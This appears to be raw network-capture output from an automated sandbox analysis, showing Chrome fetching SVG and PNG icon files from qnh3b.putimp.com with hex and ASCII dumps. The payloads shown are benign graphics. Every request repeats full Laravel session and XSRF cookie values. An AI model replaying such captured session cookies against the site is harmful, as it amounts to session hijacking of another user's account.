2024-04-16 19:40:12 UTC	1123	OUT	GET /mnj6kP2yDeYnWBE3NGPYpBcQFdKiUAklGRqHuLoIStoIobLMYncM05W90142 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:13 UTC	759	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:13 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="mnj6kP2yDeYnWBE3NGPYpBcQFdKiUAklGRqHuLoIStoIobLMYncM05W90142" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZSr0bZLndvJMNewzH16g7GI7iwK0xDzgUlCbjoFtpNsUnuIBuzsoIV2Z05cintKKqBG5jABk92hf4pvKgag3ajlSAMw%2FOo%2FSzpM44hrXCcjliDh2OCxIgLJMdU7caw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a554ae01ad88-ATL
2024-04-16 19:40:13 UTC	277	IN	Data Raw: 31 30 65 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 32 20 31 32 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 32 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 36 2e 37 2c 36 2c 31 32 2c 31 31 2e 33 30 39 2c 31 31 2e 33 30 39 2c 31 32 2c 36 2c 36 2e 37 2e 36 39 31 2c 31 32 2c 30 2c 31 31 2e 33 30 39 2c 35 2e 33 2c 36 2c 30 2c 2e 36 39 31 2e 36 39 31 2c 30 2c 36 2c 35 2e 33 2c 31 31 2e 33 30 39 2c 30 2c 31 32 2c 2e 36 39 31 5a 22 20 66 69 Data Ascii: 10e<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fi
2024-04-16 19:40:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49806	104.21.84.116	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:12 UTC	1105	OUT	GET /qrqUFMIq9b9JbPpLrgAmn4ulS1Tb9UGwjH3M445136 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:13 UTC	743	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:13 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="qrqUFMIq9b9JbPpLrgAmn4ulS1Tb9UGwjH3M445136" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=unWjEtGuSlA%2F0d04SitvaEySlw80tdKX09NKGTtgd1OKCktmKV9jvNRdZkdCP8%2FS5v%2FmqZUnwxaTR%2BIPRkarj2OddlsWSepqzUIm1vxZZTFiZ2XZhaQV8%2BIv7rmo4A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a554a84f451a-ATL
2024-04-16 19:40:13 UTC	626	IN	Data Raw: 32 64 37 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 30 00 00 00 30 08 06 00 00 00 57 02 f9 87 00 00 02 9e 49 44 41 54 68 43 ed 97 81 51 1c 31 0c 45 8f 0e a0 83 a3 03 e8 60 a9 00 a8 20 a4 02 a0 82 90 0a a0 03 ae 83 90 0a b2 54 00 1d e4 3a 80 0e c8 7f 37 72 c6 ec dc ad e5 b5 73 77 3b 59 cf 68 18 f6 64 4b 5f 5f 92 e5 83 d9 c8 d7 c1 c8 fd 9f 4d 00 76 cd e0 c4 c0 c4 40 61 04 fe df 14 6a 9a e6 50 c1 3b 91 9c 4b 1a 09 ff b3 5e 25 ef 92 e7 b6 6d 17 85 01 4e 6e 1f c4 80 9c bf d1 c9 d7 92 79 d2 c2 6c f6 5d 40 ee 1c 7a 83 54 b2 00 58 d4 1f 65 e9 c2 ac b5 44 5a f2 24 59 1a 0b b0 12 98 e1 6f 60 e5 4c 40 60 a6 ea 72 03 30 e7 7f 99 73 38 42 64 1f fa bc 31 a6 ee 4d 87 3d c7 b5 41 e4 00 f8 61 91 27 c7 2f e5 08 11 4f 2e 81 80 05 40 34 12 6d 6b cf 92 9b Data Ascii: 2d7PNGIHDR00WIDAThCQ1E` T:7rsw;YhdK__Mv@ajP;K^%mNnyl]@zTXeDZ$Yo`L@`r0s8Bd1M=Aa'/O.@4mk
2024-04-16 19:40:13 UTC	108	IN	Data Raw: 84 89 7f 0e a0 1b f9 d4 30 d7 05 11 3f a2 d6 31 b9 77 00 22 26 92 b5 83 ee ce 00 38 6a c2 35 76 4f 00 3c 9d a8 4f 67 53 4d a4 6a 25 9c b9 75 06 bc 45 3d 3a 00 9b 58 4a 3d 3d f7 86 81 d1 02 28 ad a1 9d 33 30 01 28 8d c0 ae f7 4f 29 34 31 50 18 81 d1 a7 d0 1f 70 6b 51 40 66 f8 53 a2 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 0?1w"&8j5vO<OgSMj%uE=:XJ==(30(O)41PpkQ@fSIENDB`
2024-04-16 19:40:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49807	104.21.84.116	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:12 UTC	1111	OUT	GET /opqRXS70VBE6D4xIXErMP9YghJL6HBfcH0bVXg3GFVCef200 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:13 UTC	755	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:13 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="opqRXS70VBE6D4xIXErMP9YghJL6HBfcH0bVXg3GFVCef200" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6F1VnnmVZo%2FodckJJv%2BhOLfpdIoKhYPkJzrn3YNFmRckzAI%2Bh3vqFsHc%2BPBV49J5mI7X9smMRJlZmnhcfRFQ7oMhL52ADmGTP%2FQce1qTlkE1e3cuT%2FCOPnVaWgHAQw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a554bc4d44e3-ATL
2024-04-16 19:40:13 UTC	275	IN	Data Raw: 31 30 63 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2c 33 32 48 33 38 56 31 38 2e 31 32 35 4c 32 34 2c 32 35 2e 31 30 39 2c 31 30 2c 31 38 2e 31 32 35 56 33 32 6d 2e 32 33 34 2d 31 36 4c 32 34 2c 32 32 2e 38 39 31 2c 33 37 2e 37 36 36 2c 31 36 48 31 30 2e 32 33 34 4d 34 30 2c 33 34 48 38 56 31 34 48 34 30 5a 22 20 66 69 6c 6c Data Ascii: 10c<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M10,32H38V18.125L24,25.109,10,18.125V32m.234-16L24,22.891,37.766,16H10.234M40,34H8V14H40Z" fill
2024-04-16 19:40:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49808	104.21.84.116	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:13 UTC	1117	OUT	GET /wxE3kHI4ecDaCT9gFpugKXrs1qfSqI4b5zaAgB2RKb0F8Y0eR90180 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:13 UTC	759	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:13 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="wxE3kHI4ecDaCT9gFpugKXrs1qfSqI4b5zaAgB2RKb0F8Y0eR90180" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v0SVtnKp8vqoGkht2Puv%2Bc7UodnQYpi%2BTwy%2FoXnymeq4q5rGR%2FqF9fSbhhcGakYK%2F4djvDqu0g9oa6mIQPVur5jBLVgdEvvDwCQoeX2q2LmXC6sOYKvx7X5z2cggyA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a558091f1f9e-ATL
2024-04-16 19:40:13 UTC	610	IN	Data Raw: 62 35 39 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 30 2e 34 32 32 2c 32 39 2e 30 39 32 61 33 2e 34 39 33 2c 33 2e 34 39 33 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 32 36 31 2c 33 2e 33 38 31 2c 33 2e 33 38 31 2c 30 2c 30 2c 31 2c 31 2e 31 33 32 2e 37 34 39 71 2e 33 36 36 2e 33 36 36 2e 38 32 37 2e 37 37 35 74 2e 39 34 39 2e 38 35 Data Ascii: b59<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M30.422,29.092a3.493,3.493,0,0,1,1.324.261,3.381,3.381,0,0,1,1.132.749q.366.366.827.775t.949.85
2024-04-16 19:40:13 UTC	1369	IN	Data Raw: 38 36 33 2c 33 34 2e 38 36 33 2c 30 2c 30 2c 31 2d 33 2e 36 2d 33 2e 31 35 33 2c 33 34 2e 36 2c 33 34 2e 36 2c 30 2c 30 2c 31 2d 33 2e 31 32 37 2d 33 2e 36 30 36 2c 32 37 2e 37 31 37 2c 32 37 2e 37 31 37 2c 30 2c 30 2c 31 2d 32 2e 34 35 36 2d 33 2e 38 37 36 41 32 32 2e 32 2c 32 32 2e 32 2c 30 2c 30 2c 31 2c 36 2e 35 38 34 2c 32 32 2e 36 39 2c 31 33 2e 34 38 35 2c 31 33 2e 34 38 35 2c 30 2c 30 2c 31 2c 36 2c 31 38 2e 38 36 36 2c 39 2e 34 35 33 2c 39 2e 34 35 33 2c 30 2c 30 2c 31 2c 36 2e 32 33 35 2c 31 36 2e 36 61 36 2e 32 2c 36 2e 32 2c 30 2c 30 2c 31 2c 2e 37 2d 31 2e 37 30 37 2c 38 2e 38 34 38 2c 38 2e 38 34 38 2c 30 2c 30 2c 31 2c 31 2e 31 34 31 2d 31 2e 34 38 39 71 2e 36 37 39 2d 2e 37 32 33 2c 31 2e 35 38 35 2d 31 2e 36 31 31 61 33 2e 33 38 31 2c 33 Data Ascii: 863,34.863,0,0,1-3.6-3.153,34.6,34.6,0,0,1-3.127-3.606,27.717,27.717,0,0,1-2.456-3.876A22.2,22.2,0,0,1,6.584,22.69,13.485,13.485,0,0,1,6,18.866,9.453,9.453,0,0,1,6.235,16.6a6.2,6.2,0,0,1,.7-1.707,8.848,8.848,0,0,1,1.141-1.489q.679-.723,1.585-1.611a3.381,3
2024-04-16 19:40:13 UTC	933	IN	Data Raw: 2d 2e 39 36 37 2e 35 36 36 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2d 31 2e 32 31 31 2e 32 32 36 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 31 2e 33 33 33 2d 2e 32 37 2c 33 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 31 2e 31 32 34 2d 2e 37 35 38 6c 2d 38 2e 33 30 39 2d 38 2e 33 30 39 61 33 2e 35 32 2c 33 2e 35 32 2c 30 2c 30 2c 31 2d 2e 37 35 38 2d 31 2e 31 32 34 2c 33 2e 33 37 35 2c 33 2e 33 37 35 2c 30 2c 30 2c 31 2d 2e 32 37 2d 31 2e 33 33 33 2c 33 2e 30 36 32 2c 33 2e 30 36 32 2c 30 2c 30 2c 31 2c 2e 32 32 36 2d 31 2e 32 31 31 2c 34 2e 33 31 33 2c 34 2e 33 31 33 2c 30 2c 30 2c 31 2c 2e 35 36 36 2d 2e 39 36 37 2c 36 2e 33 36 34 2c 36 2e 33 36 34 2c 30 2c 30 2c 31 2c 2e 37 33 32 2d 2e 37 39 33 71 2e 33 39 32 2d 2e 33 35 37 Data Ascii: -.967.566,3.062,3.062,0,0,1-1.211.226,3.375,3.375,0,0,1-1.333-.27,3.52,3.52,0,0,1-1.124-.758l-8.309-8.309a3.52,3.52,0,0,1-.758-1.124,3.375,3.375,0,0,1-.27-1.333,3.062,3.062,0,0,1,.226-1.211,4.313,4.313,0,0,1,.566-.967,6.364,6.364,0,0,1,.732-.793q.392-.357
2024-04-16 19:40:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49809	104.21.84.116	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:13 UTC	1133	OUT	GET /ijAHK25XxOXMFvIOtUy4tinE6RrAmRLZiVjc39gWxyjeDJrHll6oDyjjUUYj5jKyD12207 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InRDM2krVWJKYit1K3NmMDB0c2p1MHc9PSIsInZhbHVlIjoibEYyTFEyczQ2dGR1MUpLTkl3bUtsQUN1THlkT1VQSHhUVWZvRkZJWHpxK1R0NVpNbVptclJubHBrOWtaRkE3M3g3Qks2NWJ2bmVlMHNZdWttZFp5Q3pBcXF0aERnR0VqUi95ZGNXOXpZZldodjdPUUFOUnNXZTg1dVRWWUR2OEQiLCJtYWMiOiI5YmQ0NmNhNTkzOWZiNmU5ZjUxNDE3OTExNzA2N2RkZTZjOTM2NTE4MzViNWQ4Njg1YmQzODFiMWExNTVhZWM0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkNlaEpkeUQxZnh3d1ZmVUV1SUNSTWc9PSIsInZhbHVlIjoiOHhzajhqVnpJc3BoRjR6MFQ2Y3dueXd4Q3JqdXcwU0twamkwQWkrS3NmRkNXU3ZxQnpoUGNxVDNyZGVXSzBIeGFZU243cGxLNStZNWl3NjF1TWh3aHFqdEN1Q3BtK1J6L2hXTkY0c3ZFVmZ4MTlBSlRjZjFRWWFhUldHVEloM2YiLCJtYWMiOiJmNTA3MTA2YjA1YTQ4ZjgyNTNkZGJlMWNlMzE1YjhkMWFkZGU2ZWIyOTRhYWZjMDUzODFiNWRjNzRlYzNlNmVjIiwidGFnIjoiIn0%3D
2024-04-16 19:40:14 UTC	765	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:14 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="ijAHK25XxOXMFvIOtUy4tinE6RrAmRLZiVjc39gWxyjeDJrHll6oDyjjUUYj5jKyD12207" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xamGHA2u5BbVachxkavZHc%2FBHO8yRLRonNYpxENNlbbWo5Cup7p2mGKh8I9PKUtyGMsjytuGqCraA0y2Y0X7r6GmYfWLFuY%2BLk412wvrngqcfhWZffHAh6HpF814fQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a55a1e9e12df-ATL
2024-04-16 19:40:14 UTC	604	IN	Data Raw: 32 64 31 65 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 08 70 00 00 01 bb 08 06 00 00 00 a1 7b f0 cd 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 09 70 48 59 73 00 00 3b b6 00 00 3b b6 01 16 33 14 2b 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 77 77 77 2e 69 6e 6b 73 63 61 70 65 2e 6f 72 67 9b ee 3c 1a 00 00 20 00 49 44 41 54 78 9c ec dd 77 98 5d 55 bd ff f1 f7 4c 1a 49 28 21 04 42 ef bd 08 4a bb 0a 52 94 aa 02 16 50 44 e1 7a 2d a8 28 a0 82 a2 34 51 01 f1 2a 4d 51 2e 20 0a 28 fa 13 45 45 04 41 50 3a ea 05 04 0d 08 48 49 a4 05 09 10 20 09 e9 c9 ef 8f 75 72 33 09 93 72 ce 59 fb 7c f7 de e7 fd 7a 9e ef 33 93 32 c9 67 d6 de 7b f6 cc 59 df bd 56 0f ea 36 c3 81 75 80 b5 80 55 80 95 80 51 8d 5a 19 58 1e 18 01 0c 06 96 6d d4 a0 Data Ascii: 2d1ePNGIHDRp{sBIT\|dpHYs;;3+tEXtSoftwarewww.inkscape.org< IDATxw]ULI(!BJRPDz-(4Q*MQ. (EEAP:HI ur3rY\|z32g{YV6uUQZXm
2024-04-16 19:40:14 UTC	1369	IN	Data Raw: 04 e0 31 7b ad 59 a4 95 39 6e 67 fe 04 f4 53 a1 89 54 46 83 49 cd 1a 3b 03 6f 26 35 41 ad 1c 9a a8 bc 26 01 77 02 b7 02 7f 24 35 4a cd 0e 4d 24 49 92 24 49 92 24 49 92 24 d5 9c cd 00 e5 d2 03 bc 01 d8 b7 51 3b 92 b6 49 51 f3 c6 91 1a 39 6e 05 6e 6c fc 5a dd 65 08 b0 13 b0 1b a9 01 6a 07 60 68 64 a0 0a 7b 01 f8 3d 70 2d 70 3d 6e b9 22 49 92 24 49 92 24 49 92 24 65 67 03 47 bc 81 c0 ee c0 81 c0 01 c0 e8 d8 38 b5 f5 08 69 02 fa 06 d2 8a 02 93 62 e3 a8 20 5b 00 7b 91 56 ae d9 15 18 16 1b a7 96 e6 90 56 e4 b8 12 f8 39 36 47 49 92 24 49 92 24 49 92 24 49 59 d8 c0 11 63 20 f0 16 52 d3 c6 bb 80 51 b1 71 ba ce 2c d2 f6 10 bf 05 ae 02 fe 19 1b 47 6d 18 0a ec 01 ec 0f bc 0d 58 3d 36 4e 57 ba 0b f8 05 a9 99 63 6c 70 16 49 92 24 49 92 24 49 92 24 49 5a 2a 9b 02 67 00 Data Ascii: 1{Y9ngSTFI;o&5A&w$5JM$I$I$I$Q;IQ9nnlZej`hd{=p-p=n"I$I$I$egG8ib [{VV96GI$I$I$IYc RQq,GmX=6NWclpI$I$I$IZ*g
2024-04-16 19:40:14 UTC	1369	IN	Data Raw: 24 49 a5 d2 13 1d 20 a3 77 03 3f 06 86 46 07 91 4a e2 19 e0 cb c0 3b 81 b7 07 67 91 ca e4 7f 81 77 00 13 a2 83 48 92 24 49 92 24 49 92 24 49 f3 d4 a5 81 e3 30 e0 62 60 60 74 10 49 52 25 3c 0e ec d9 78 2b 49 92 24 49 92 24 49 92 24 85 eb 8d 0e 90 c1 d1 c0 25 d8 bc 21 49 5a 7a eb 03 b7 03 5b 45 07 91 24 49 92 24 49 92 24 49 92 a0 fa 0d 1c 67 00 e7 50 9f 95 44 24 49 9d b3 1a f0 47 60 db e8 20 92 24 49 92 24 49 92 24 49 52 95 1b 1f 4e 03 8e 8f 0e 21 49 aa bc 97 80 3d 80 7b a2 83 48 92 24 49 92 24 49 92 24 a9 7b 55 75 05 8e af 60 f3 86 24 29 8f 11 c0 75 b8 9d 8a 24 49 92 24 49 92 24 49 92 02 55 71 05 8e 63 81 6f 46 87 90 24 d5 ce 04 60 77 e0 81 e8 20 92 24 49 92 24 49 92 24 49 ea 3e 55 